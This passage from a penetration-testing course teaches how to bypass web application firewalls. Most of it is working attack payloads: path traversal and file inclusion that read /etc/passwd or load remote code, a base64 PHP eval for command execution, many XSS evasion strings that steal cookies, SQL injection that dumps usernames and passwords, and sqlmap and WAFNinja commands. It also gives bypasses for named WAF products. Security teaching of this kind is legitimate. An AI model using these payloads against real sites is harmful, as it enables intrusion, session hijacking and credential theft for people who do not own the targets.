
http://website.com/?file=../../../index.php/./././././....[ 4096 ] /.

A simpler example of path traversal to see how the request of this code <?include("./files/".

$_GET['file'] ) ; ?> , will be done, after the injection of the following string:

/?file=/union%20select/../../../../../../../etc/passwd

The request on the program will become something like the following:

<?include(" ./files// uni X on%20sel X ect /../../../../../../../etc/ passwd ") ; ?>

To continue with path traversal exploitation, we can execute commands in the server. Of course, this example is OS

sensitive, and we first have to know the OS that the server is based, to execute the correct commands, and plan cor-

rectly the file system. To exploit the first example code that we saw in path traversal, we inject the following:

/?file=data:, <? php eval ($_REQUEST[ cmd ]);?> & cmd = phpinfo ();

Of course, this is a really simple example that targets Windows machines, but it will not pass a WAF, because it has

special characters that will be filtered from WAF. To harden this string, let’s encode it with base64 and it will be-

come:

65
MODULE 3
WAF Bypassing with XSS and RFI

/?file= data:;base64,PD9waHAgZXZhbCgkX1JFUVVFU1RbY21kXSk 7ID8%2b &cmd= phpinfo ();

Now, our WAF got bypassed because it didn’t decode the base64 string, and the path traversal vulnerability was

based on a feature of the PHP interpreter of the server.

File inclusion vulnerabilities allow us to include a file

by exploiting the dynamic file inclusion mechanisms


Remote and Local File Inclusion
in the target server. This vulnerability is caused due

to the lack of proper validation of the users. These attacks can lead to many serious results, like:

• Outputting the contents of the file

• Code Execution

• XSS

• DoS, etc.

The two main categories are RFI and LFI. The Remote code execution is the process of including remote files

through exploiting the inclusion procedures implemented in the server, as we said earlier. As an example, let’s say

that a page receives as an input the path to a file that has to be included next, and this input is not properly sani-

tized, allowing an external URL to be included.

On the other hand, Local File Inclusion is when we include files that exist locally on the server by exploiting the vul-

nerable inclusion procedures of the targeted application. Similarly with the RFI, when a page receives an input with a

path to a file that has to be included to the next page, and this input is not properly sanitized, and allows path tra-

versal characters, like the ../, to be injected.

To continue, as we said in path traversal, for all these attacks, we have to know the OS that the server is running, for

many reasons, and one of these is that the path separator is changing in its OS. The three most used Os’s and their

path separators are:

• Unix core OS – Root directory and separator: /

66
MODULE 3
WAF Bypassing with XSS and RFI

• Windows – Root directory: drive letter:\ , directory separator: / or \

• MacOS – Root directory: drive letter: , directory separator: :

Now let’s examine some examples to see how we can conduct such an attack, and be able to bypass WAF at the

same time. Let’s consider the following link:

http://website.com/index.php?file=rfi.html

As we can understand by the call for the rfi.html file from the URL, it is possible for this site to have an LFI vulnerabil-

ity. A common test to see more security aspects is to firstly go for the passwd file of the server. To do so, let’s try the

following:

http://website.com/index.php?file=../../../../etc/passwd

In some situations, this will have been executed, but this time a WAF has filtered our input. The first thought is to

encode some aspect of this URL. For example:

http://website.com/index.php?file=..%2f..%2f..%2f..%2fetc%2fpasswd

By encoding all the slashes, it is really possible to successfully bypass WAF, and we bypass it but we have a problem

executing it in the server. Let’s consider the following piece of code:

<?php “include/”.include($_GET['filename'].“.php”); ?>

This is the server code that handles this parameter, which can be bypassed by using null-byte terminators, because

the %00 represents the end of the string and any characters after this byte will be ignored. So we execute the follow-

ing URL:

http://website.com/index.php?file=..%2f..%2f..%2f..%2fetc%2fpasswd%00

This will return the list of basic user attributes, which will be something like the results of Image 6.

Image 6: List of basic user attributes, after a successful LFI Attack.

67
MODULE 3
WAF Bypassing with XSS and RFI

Finally, let’s examine a code segment, for an RFI attack:

$incfile = $_REQUEST["file"];

include($incfile.".php");

Here we have a PHP code segment from a backend file, that takes filenames as parameters. In a vulnerability like

this, the path is extracted from the HTTP request and no input validation is done afterwards, so it is considered vul-

nerable to RFI. So, ideally, the following URL would exploit a vulnerable website like this:

http://website.com/index.php?file=http://malicious-site.com/malicious-script-or-page

In this case, the remote file is going to be included and any code contained in it is going to be run by the server.

Once more, in the RFI attack, we can use request normalization or encoding in the attacking URL, to be able to by-

pass a WAF. Finally, this was the last attack vector that we can include in the attacks that a WAF is securing and that

we have to bypass a WAF to conduct them. In the next and final module, we will examine some real life practical ex-

amples and conclude the course.

68
MODULE 4
Securing WAF and Conclusion
MODULE 4
Securing WAF and Conclusion

DOM based XSS is another type of XSS that is also used

DOM Based XSS widely, and we didn’t discuss it in module 3. The DOM, or

Document Object Model, is the structural format used to

represent documents in a browser. The DOM enables dynamic scripts such as JavaScript to reference components

of the document such as a form field or a session cookie, and it is also a security feature that limits scripts on differ-

ent domains from obtaining cookies for other domains. Now, the XSS attacks based on this is when the payload that

we inject is executed as a result of modifying the DOM environment in the victim’s browser, so that the code runs in

an unexpected way. By this we mean that in contrast with the other two attacks, here the page that the victim sees

does not change, but the injected code is executed differently because of the modifications that have been done in

the DOM environment, that we said earlier. In the other XSS attacks, we saw the injected code was placed in the re-

sponse page, so you can see the difference, and why we are examining this type too.

Also, DOM-based XSS vulnerabilities can be executed in many instances without the server being able to determine

what is actually being executed. This may make many of the general XSS filtering and detection techniques, like the

WAFs that we are examining, impotent to such attacks, and this is why this attack is important to us. Let’s examine

the following code, from an e-shop that supports many currencies:

<select><script>

document.write("<OPTION
value=1>"+document.location.href.substring(document.location.href.indexOf("default=")+8
)+"</OPTION>");

document.write("<OPTION value=2>Dollar</OPTION>");

</script></select>

When we try to change the currency in this website, the page is invoked with a URL like the following:

http://www.eshop.com/page.html?cur=Euro

To perform a DOM-based XSS attack in this URL, we can send the following link to the victim:

http://www.eshop.com/page.html?cur=<script>alert(document.cookie)</script>

When the victim clicks on this link, the browser will ask for a different currency but instead of supplying a currency

value, it will give the following:

70
MODULE 4
Securing WAF and Conclusion

<script>alert(document.cookie)</script>

The server will respond by supplying the page with this Javascript code in it. Next, the browser will create a DOM

object for this page, where the document.location object will contain the following:

http://www.eshop.com/page.html?cur=<script>alert(document.cookie)</script>

The Javascript code in the page does not expect for the parameter to contain HTML code, and because of that, it

echoes it into the page (DOM) at runtime. The page then constructs the page and executes the script we supplied

earlier into the script tags.

Despite that, in this attack the payload was not embedded by the server in the HTTP response, it arrived at the

server as part of the request, so it is possible to be detected by an installed WAF, or server side controls. To bypass

the WAF and avoid sending the script to the server, we have to keep in mind that the part in the URI after the # is

not sent to the server by the browser. By this, any code that it references, like the document.cookie we used earlier,

may be vulnerable to an attack that uses fragments, and in this type of scenario the script is not sent to the server.

The URL we used in the previous attack can be transformed into:

http://www.eshop.com/page.html#cur=<script>alert(document.cookie)</script>

which executes the same script, but with the addition that the script is not being sent to the server, so we have suc-

cessfully bypassed a WAF of any type of server side control. In this attack, the server will only see the URL, until the

page.html point.

Another interesting example is when a PDF file is served to the browser, and if the Adobe Acrobat plugin renders

the file, it may have as a result to execute part of the fragment as JavaScript. Since the JavaScript is executed in the

context (DOM) of the current site, it is really simple to exploit it, simply by finding a PDF link inside the website, for

the XSS condition to be met. Then we craft a link like the following:

http://www.website.com/pdffile.pdf#parameter=javascript:script-goes-here

Now, you can see that the attack is more or less the same, but we are exploiting a different aspect of the client side,

and in this situation, if the victim has an outdated Acrobat Reader installed, the script will be executed without go-

ing to the server. As we can understand, DOM-based XSS is really dangerous and no WAF can filter it, due to its na-

71
MODULE 4
Securing WAF and Conclusion

ture. Finally, there are more XSS attacks, and more ways to exploit them, but this passes the context of this course,

and we have covered the most interesting and famous ones.

In the first module of this course, we learned that WAFs

Bypassing Blacklists with follow two basic models, the positive and the negative. To

save coding time, most of the WAFs rely on the negative

JavaScript model, so they have a database that will contain all the sig-

natures generally in the form of REG-EX that would look

for the patterns that the WAF is trying to block. The problem with that is that it can be bypassed easily, due to JavaS-

cript’s nature and flexibility. There are countless ways that we can create a JavaScript to bypass this type of protec-

tion, but let’s now talk about the three different approaches that we can use to bypass blacklists. These are:

• Brute Force: With this method, we are trying many payloads and we expect some of these to execute. This is
the method that most of the tools that we talked about, and will talk about, are using, and it may be a good

method for some type of filters, but as we said many times, these methods fail because automated tools can-

not understand the context, and every attack’s context varies in each occasion.

• Browser Bugs: As we said in the Adobe Acrobat XSS example, there are some ways to bypass a WAF by ex-

ploiting a bug in the target’s browser. This is the last approach that someone will use, because we have to

search for older browsers with security issues, addons that have security issues, or even zero days, to be able

to exploit them and bypass the limitations that the WAF has added.

• REG-EX reversing: The best approach in blacklist bypassing is the reg-ex reversing. As we have already said,

WAFs rely on matching the payloads we sent with the signatures they have stored in the database, and these

signatures are in the form of complex regular expressions. If the payload matches any of these signatures

(reg-ex) the WAF triggers up, and as you can understand, the WAF doesn’t trigger up if no signature

matches our payload. In this method, we try to reverse these WAF signatures, and once we know the black-

list of the WAF, we can produce scripts and attacks that can bypass all the filters and not trigger up the WAF.

72
MODULE 4
Securing WAF and Conclusion

Let’s now continue by talking about bruteforcing and reg-ex reversing, with practical examples. First of all, we have

to try and insert harmless tags like <p>, <h1> or <b> to see if they are blocked from the WAF and see how they

get rendered from it in the HTTP response. We check the following:

• Type of encoding applied

• Striped characters

• Replaced characters

• Whole tag strip

We take note if any of these events happened and if the filter stripped out the tags, we try to insert an open tag

without a closing character, for example, <p , <h1 or <b, and examine the HTTP response of the WAF. If in this

stage, the application has rendered correctly the applied tag, it means that the reg-ex is looking for both opening

and closing brackets and doesn’t filter out the opening tag.

To continue from these facts, we try some of the most common XSS scripts that most of the WAFs are filtering out.

These can be:

<script>alert(‘test’)</script>

<script>alert(document.cookie)</script>

<script>prompt(1)</script>

<script>confirm (1)</script>

These scripts can trigger a 403 forbidden page HTTP response or a 500 Internal error, and it can strip it completely

from the response or a part of it. There are occasions where the WAF is only filtering out the opening and closing

script tag, and leaves all the other content untouched. Also, as we saw earlier, WAF may filter out only the opening

and closing brackets, and leave all the other as is. To go to the next step, we use the basics of encoding, and we try

to mask the script tag by changing the case of the letters of the script word in the tag. For example:

<sCrIpT>alert(‘test’)</SCript>

<sCRIpt>alert(document.cookie)</ScRiPt>

73
MODULE 4
Securing WAF and Conclusion

If the WAF is case sensitive (which is not so rare), we go on and try the nested script tags, where a WAF that is mak-

ing only one check will filter the script tag, but with the filtering of it, a new one will be generated and the script will

succeed. So, for this example we are supplying something like this:

<scr<script>ipt>alert(‘test’)</scr<script>ipt>

<scr<script>ipt>alert(document.cookie)</scr<script>ipt>

After all these checks, let’s supply an <a href=””> tag and examine its response, and if the WAF is making the

same checks, like it did in the first step we saw, and if not, we try to insert a JavaScript statement inside the href tag.

<a href=”javascript:alert(‘test’)”>Malicious Link</a>

Now we have to check the response of this alteration, and if the WAF has filtered out the JavaScript statement in

the <a> tag or only stripped the JavaScript, and if yes, we try to bypass this filter by playing with the case of the let-

ters, like we did earlier. If only the JavaScript keyword is filtered out, there are plenty of ways that we can bypass this

filter by encoding it.

To continue, we have to try an event handler to execute JavaScript, like we saw in module 3:

<a href="google.com" onmouseover=alert(1)>Malicious Link</a>

And once more, we are checking if the event got stripped out, or if the part “mouseover” after the “on” is only

stripped, and we try to insert an invalid event handler to check if the WAF is trying to filter all the possible events, or

only some of them. To do so, we give something like this:

<a href="google.com" onthewaveofthehand=alert(1)>Malicious Link</a>

If we are now able to inject this event, it means that the WAF is only filtering a bunch of events and not all of them.

With HTML5, we have more than 150 event handlers that we can use JavaScript with, and there is a big change of

not filtering out all of them by the WAF. One of the less commonly filtered out event handlers is the “onhash-

change” and it can be used as follows:

<body/onhashchange=alert(1)><a href=#>maliciouslink

This was one of the approaches that someone can follow to bypass a WAF, but not the only one. There are more

ways to test it that are due to the liking and experience of the pentester and the situations that he is handling.

74
MODULE 4
Securing WAF and Conclusion

To conclude this section let’s examine some situations, where we use some other commonly used tags that we can

use to inject JavaScript as we did earlier. Let’s start with some tags that contain the src attribute. There are many

tags that use this attribute and we can test them in the following way:

<img src=image.jpg onmouseover=alert(1);>



<img/src=image.jpg onmouseover=alert(1);>

<video src=video.mp4 onmouseover=alert(1);></video>

<video/src=video.mp4 onmouseover=alert(1);></video>

As you can see here, we can add event handlers in the tags that use src attributes and we can use it by separating

the tag from the src with a / . With this way we can many times trick the WAF and bypass it. Two other interesting

tags that use the src attribute are the iframe and the embedded, and to try and bypass a WAF, we can use them as

follows:

<iframesrc="javascript:alert(“123”)">

<iframe/src="data:text&sol;html;&Tab;base64&NewLine;,PGJvZHkgb25tb3VzZW92ZXI9YWxlcnQoZG
9jdW1lbnQuY29va2llKT4=">

<embed/src=//goo.gl/wrDiR>

You can see that we can implement a JavaScript many more ways than we can think. In the first one, we take off the

space between the iframe and src, so the WAF cannot identify them as keywords. In the second one, we see that we

use again the / for separation and we then use base64 to encode the event handler. If decoded, it produces <body

onmouseover=alert(document.cookie)>. Other attributes of some tags that we can use are the poster and

the data, that can be many times used to bypass a WAF, as they tend not to block it as malicious. For example:

<video poster=javascript:alert(“123”)//></video>

<object
data="data:text/html;base64&NewLine;,PGJvZHkgb25tb3VzZW92ZXI9YWxlcnQoZG9jdW1lbnQuY29va2
llKT4=">

<object/data=//goo.gl/wrDiR>

You can see that we have used them more or less the same way as with earlier scripts, which tells us that we can

have many alternative ways to try and bypass a WAF. Now, an attribute that is proven not to be filtered by many

WAFs is the formaction attribute, due to its rare use. We can use it as follows:

75
MODULE 4
Securing WAF and Conclusion

<isindexformaction="JaVaScRiPt:alert(1)" type=image>

<input type="image" formaction=JAVAScript:alert(0)>

<form><button formaction=javascript&colon;alert(1)>…

As you can understand, it is impossible for a WAF development team to gather all the possible variations that can

be produced to bypass a WAF. Here we only saw a bunch of attributes and tags that can be used for this job, but

the list continues, with some more examples for reference:

• Background Attribute (table tag)

• Data Attribute (object tag)

• Code Attribute (applet, embed tag etc.)

• Action Attribute (form tag etc.)

Until now we saw some tools, like Nmap and WafW00f in

the context of WAF fingerprinting, but there is a big variety


Automating WAF Bypassing
of tools out there that can help us not only fingerprint but

also bypass the target WAF. Automation is really important,

because we have to compare our results with the results of an automated tool to have a different opinion available.

WAFNinja

WAFNinja is a Python written script, which is one of the best tools for automated bypassing WAF. WAFNinja comes

with a variety of payloads and fuzzing strings, which are stored in a local database file that comes with the tool. It is

also created this way to be easily expandable and simple to use. Also, it supports HTTP connections, with both GET

and POST requests and the use of cookies in order to access the pages that need authorization. Finally, we have the

choice to set up an intercepting proxy, but we will not examine that in this chapter. We can simply download and run

WAFNinja on our Linux machine by executing the following:

git clone https://github.com/khalilbijjou/WAFNinja

76
MODULE 4
Securing WAF and Conclusion

And from now on, inside the folder of WAFNinja, we can run it by executing python wafninja.py. The logic of

WAFNinja execution goes like this:

wafninja.py [-h] [-v] {fuzz, bypass, insert-fuzz, insert-bypass, set-db} ...

And we can use the following functions:

• Fuzz – check which symbols and keywords are allowed by the WAF.

• Bypass – sends payloads from the database to the target.

• insert-fuzz – add a fuzzing string.

• insert-bypass – add a payload to the bypass list.

• set-db – use another database file. Useful to share the same database with others.

Image 1: WAFNinja running on a Linux machine.

Now the fuzz function does exactly the same that we were talking about earlier. It reverse engineers the WAF rule

set by sending different symbols and keywords and analyzes the responses of every request. We can produce an at-

tack like this by executing the following:

python wafninja.py fuzz -u "http://www.website.com/index.php?id=FUZZ" -c "phpsessid-


=cookie" -t xss -o output.html

77
MODULE 4
Securing WAF and Conclusion

Here we used the following options:

• -u for the target URL

• -c for the cookie we want to use

• -t for the type of attack (sql or xss)

• -o for the output file that is saved in .html format

This is a way of executing a fuzzing attack and we did it by giving the fuzz function. To extend the fuzz strings more,

we can add the insert-fuzz where we can add a fuzzing string. And finally, the other really important function is the

bypassone, which bruteforces the WAF by enumerating payloads and sending them to the target. It analyzes the re-

sponse of every request and we can use it as follows:

python wafninja.py bypass -u "http://www.website.com/index.php" -p "Name=PA-


YLOAD&amp;Submit=Submit" -c "phpsessid=cookie" -t xss -o output.html

Here the only different parameter is the -p which is used to send payloads through the POST parameter. We can

also extend the payloads with the addition of the insert-bypass function. For more parameters and usage examples,

please type python wafninja.py -h to see the help page.

SQLMap

As we saw in Module 2, SQL injection is a really important chapter of WAF and we can bypass it in many ways. But,

of course, we need an automated way to bypass it. For this reason, we are going to use SQLMap, which we saw in a

video of module 2, but we are going to use it in a different way. First of all, SQLMap in general is an open source

penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over

of database servers. In this chapter, we are going to see how we can use SQLmap to bypass WAFs and IDSs.

To do so, we are going to use tamper scripts that alter the payloads sent to the server automatically. In some cases,

we might need to combine a few tamper scripts together in order to fool the WAF, and we can find a full list of them

here:https://svn.sqlmap.org/sqlmap/trunk/sqlmap/tamper/ . Let’s examine two scripts that will target MySQL data-

bases. These scripts will convert all spaces to block comments with random text. To start SQLmap in Kali Linux, we

just execute sqlmap in a terminal window, and for tamper scripts we use the –tamper option. For example:

78
MODULE 4
Securing WAF and Conclusion

sqlmap -u ‘http://192.168.85.128/dvwa/vulnerabilities/sqli/?id=1’ --cookie=’cookiehere’


--dbms "MySQL" --technique U -p id --tamper "space2morehash.py"

The extended version of space2hash.py tamper script we used here, the space2morehash.py, will also add the com-

ments in between certain function names and the parenthesis. Also, the options we used are:

-u The URL we want to attack



--cookie= Where we add the HTTP Cookie header value

-dbms The option that forces the dbms that the server uses

--technique Specify which SQL injection type to test for. (U is for union query-based)

-p Specify the testable parameter

Of course, besides that, to use the tamper scripts, we have to use the –tamper option followed by the script name.

Image 2: Automated WAF Bypass with SQLMap

Now that we executed SQLmap, the tamper script has replaced the spaces with the %23randomText%0A, which as

we can see is URL encoded. The functions CHAR(), USER() and CONCAT() that we examined in module 2, got

changed to FUNCTION%23randomText%0A(), because in our example it is identified that they were blocked by

the WAF. Why it is changed with this is not in the context of this course.

79
MODULE 4
Securing WAF and Conclusion

To continue, two other interesting tamper scripts that we can use and help automate the encoding processes are

the charencode.py and chardoubleencode.py. These are really useful scripts for bypass, when the WAF is filtering

out keywords. They can find the best way out, and we can simply use them again with the –tamper option. An exam-

ple attack could be:

sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cook-


ie="security=low; PHPSESSID=bb61j7e8jrsfd87s9037fsdgf3" -D dvwa –tables –tamper
“chardoubleencode.py”

We use the second script, chardoublebleencode.py, if the application decodes the URL with the request. The simple

charencode.py, is the simple one that helps us with encoding. Additionally, if the application is programmed in

ASP/ASP.NET, the charunicodeencode.py and percentage.py scripts can be used to hide the true payload. An inter-

esting characteristic of ASP is the ability to add as many percentage signs as we want in between characters, so the

following, AND 1=%%%%%%%%1, that we can see in image 3, is completely valid.

Image 3: The ASP has the ability to add percentage signs between the characters and still execute the keywords.

There are many tamper scripts in SQLmap that have their own use, so you have to see what exists and use the

proper script in each case. It is a really useful feature that can be used easily and with good results.

80
MODULE 4
Securing WAF and Conclusion

Until now, we have talked more about theory (not that this

Bypassing WAF Practical is bad) but we have seen only a small amount of real at-

tacks in WAFs, so now let’s examine some true attacks on

Examples WAFs that are widely used, and are based on true vulner-

abilities found on them.

Keep in mind that these vulnerabilities have been patched and will work only on outdated WAFs, we cannot supply

ways of bypassing a real WAF without informing the owner.

Imperva Incapsula WAF

Incapsula WAF provides solutions to protect websites against SQL Injections, cross site scripting, illegal resource ac-

cess, OWASP top ten threats, and web 2.0 threats including comment spam, fake registrations, site scraping and ma-

licious bots. It works by changing a website’s Domain Name System (DNS) to route the website traffic through Incap-

sula. Incapsula then filters out malicious attacks from bots and website scrapers.

As we said in Module 1, one of the most used ways to bypass WAFs is the HTTP parameter pollution and HTTP pa-

rameter fragmentation. So let’s take the following example website that is protected by Incapsula:

http://www.website.com/page.asp?a=first&a=second

Because the parameter is the same, the website will see the a parameter as “first,second”. To attack this from what

we know, let’s change it to the following:

http://www.website.com/page.asp?a=nothing'/*&a=*/or/*&a=*/1=1/*&a=*/--+-

Now, the page sees the a parameter as “‘/*,*/or/*,*/1=1/*,*/–+-“. As you can understand, this can be eas-

ily filtered out by a WAF, and Incapsula handles these attacks by combining all the parameters with the same name

like the ASP does, before passing it to the later stages. In this security measure, a vulnerability has been found that

allows the stage of normalization of the parameters to create end results different than ASP does. So, if we say that

the attack link we provided earlier can be blocked by Incapsula, the following can bypass it:

http://www.website.com/page.asp?a=nothing'/*&a%00=*/or/*&a=*/1=1/*&a%00=*/--+-

81
MODULE 4
Securing WAF and Conclusion

As you can see, after the parameter name there is a null byte. Incapsula treats parameters followed by a null byte

differently from another parameter with the same character. So, a and a%00 for Incapsula is a different parameter.

As a result, when combining the parameter with the same name, it will not see a malicious string and it will not filter

it out.

Now, let’s continue with some XSS attacks in the same WAF. This WAF is filtering correctly the common XSS strings

that we used without any encoding, like the <script>alert(document.cookie)</script>. Also, trying to im-

plement an event handler in a simple HTML tag, is proven useless too, because it is filtered out too. So, something

like <a href=”javascript:alert(‘test’)”> will be filtered out, but to our surprise, something like this <img

src=x onerror=”input”> is not detected. So the aspect that is blocked is the JavaScript inside the event han-

dler and not the event handler alone.

The first way that has been found to bypass this measure, is to use a mix of HTML, double-URL and Unicode encod-

ing. So, you can see that we had to dig deep to find a bypass in this WAF and make many tests, but in the end there

is always a way. Let’s now provide the following:

%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%2523x27%3B%252
6%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%2526%2523x29%3B%22%3E

Now, this is the earlier payload <img src=x onerror=”input”> but with some alterations. Also, this payload

was encoded first by HTML and then by double-URL encoding. Double-URL encoding works on specific servers that

URL-decode the client’s input multiple times.

The second XSS bypass, which is publicly available, is based on the JS-F**K, which is a technique that has been intro-

duced to create JavaScripts with only 7 characters. So something like the following will do the job:

<img/src="x"/onerror="[7 char payload goes here]">

With this payload we can do anything we want to the website, without the WAF blocking our actions, but the only

obstacle is the length, because most servers restrict the GET request URL length. Nevertheless, the payload is a

really good solution and can successfully bypass the Imperva Incapsula WAF.

82
MODULE 4
Securing WAF and Conclusion

Aqtronix WebKnight WAF

The WebKnight WAF is an OpenSource WAF for IIS and other web servers, and it is widely used. It is a really good

solution, but of course we are here to bypass it, and it has one of the most vulnerable filter rule set of all WAFs, but

it is trying to get better. Now two SQL payloads presented by OWASP, that could bypass easily a WebKnight WAF,

are:

0 union(select 1,@@hostname,@@datadir)

0 union(select 1,username,password from(users))

As you can see, both of them disclose serious personal information, with username and password included, and the

payload isn’t encoded at all. Also, this WAF is vulnerable to a JavaScript event handler, the ontoggle that occurs

when the user opens or closes the <details> element, and it is supported on all browsers. For example:

<details ontoggle=alert(document.cookie)>

Finally, we have another event handler, the onshow one, that fires when a <menu> element is shown as a context

menu, and works only on the Firefox web browser. When a user right clicks, the script will be executed, bypassing

WebKnight XSS filter detection, and we can produce it, as follows:

<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">

ModSecurity WAF

ModSecurity is another open source WAF that is widely used, and takes security seriously, with challenges that any-

one can participate, and have as a result the hardening of the WAF. The first vulnerability we are going to see on this

WAF is based on the null byte, that we have talked many times in this course. We simply have to use the null byte

inside the script tag. This will bypass the WAF and perform the XSS attack without problems. For example:

<scr%00ipt>alert(document.cookie)</scr%00ipt>

ModSecurity fixed this issue by applying a filter rule that strips all the null bytes from the input. The next bypass tech-

nique is based on the characters that browsers are treating as space characters. Each browser has a different set of

these characters which you can see below:

• IExplorer = [0x09,0x0B,0x0C,0x20,0x3B]

83
MODULE 4
Securing WAF and Conclusion

• Chrome = [0x09,0x20,0x28,0x2C,0x3B]

• Safari = [0x2C,0x3B]

• FireFox = [0x09,0x20,0x28,0x2C,0x3B]

• Opera = [0x09,0x20,0x2C,0x3B]

• Android = [0x09,0x20,0x28,0x2C,0x3B]

To exploit this, we are using one of these characters between the onevent name attribute (like the onmouseover and

ontoggle) and the equal sign character. For example:

onmouseover%0B=

ontoggle%0B%3D

So here we are watching the %0B which internet explorer is handling as a space character, and executes correctly the

payload. As a practical example, we can give:

http://www.website.com/example.html?test=%3Cinput+onfocus%0B%3Dalert%281%29%3E&disable_
xss_defense=on&disable_browser_xss_defense=on

This is a real bypassing example of an earlier version of ModSecurity WAF. Finally, let’s see a bypassing example that

works on environments that escape the user’s request three or more times. An exploit to this approach of ModSecu-

rity, could be:

<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(“123”)>

Let’s conclude by saying that most of these techniques we examined with XSS attacks work on SQL Injection attacks

as well. So, for example, if we supply the following:

1+uni%0Bon+se%0Blect+1,2,3

it will bypass the ModSecurity WAF, because it recognizes the %0B on Internet Explorer as a space.

84
MODULE 4
Securing WAF and Conclusion

F5 Big IP

For our last examples on WAF bypass, let’s examine the F5 Big IP, that is one of the most advanced enterpricse level

WAFs, but as you will see, even the best fall. The first bypass method has to do with event handlers, the onwheel

and onshow, with the second one only working in the Firefox browser. For example:

<body style="height:1000px" onwheel=alert(“123”)>



<div contextmenu="xss">Right-Click Here<menu id="xss" onshow=alert(“123”)>

As you can see here, we have some pretty simple payloads, with no encoding that succeeds in bypassing the F5 Big

IP WAF. Another way that we have analyzed and success in bypassing this WAF is with the JS-F**K encoding, For ex-

ample, in extension of the previous examples, we have:

<body style="height:1000px" onwheel="[JS-F**k Payload]"> 



<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[JS-F**k Payload]">

As you can understand, inside the brackets we can use a JS-F*ck Payload, for example, if we want to give alert(1),

we would give the following:

(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[]
)[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[
+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![
]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[
]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]

Finally, the last bypass we are going to see is like our first one with HTML encoding and double URL encoding. With

this method, the previous examples will transform to:

<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">



<div contextmenu="xss">Right-Click Here<menu id="xss" on-
show="prom%25%32%33%25%32%36x70;t(1)">

85
MODULE 4
Securing WAF and Conclusion

As you can understand, WAFs are not so secure, and it is

Conclusion not the perfect solution for security, as many in this industry

think. First of all, because of the limitations we saw, WAFs

are not able to protect web applications from all the possible vulnerabilities available, and it is also a necessity to

adapt WAF filters for the particular application to be protected.

Also, WAFs are not eliminating the vulnerability, but partly screening the attack vector. We have to secure the appli-

cation itself and not only apply a layer that will filter the vulnerability, and fail with such easy ways. WAFs have to be

implemented with caution, and even after their application we have to continue the maintenance of the applications.

Finally, WAF represents a useful tool in the context of implementation of scalable protection of web-applications. It

is a really useful tool that does its job well and blocks the attack vector, until the vendor of the application patches

and eliminates the vulnerability.

86

You might also like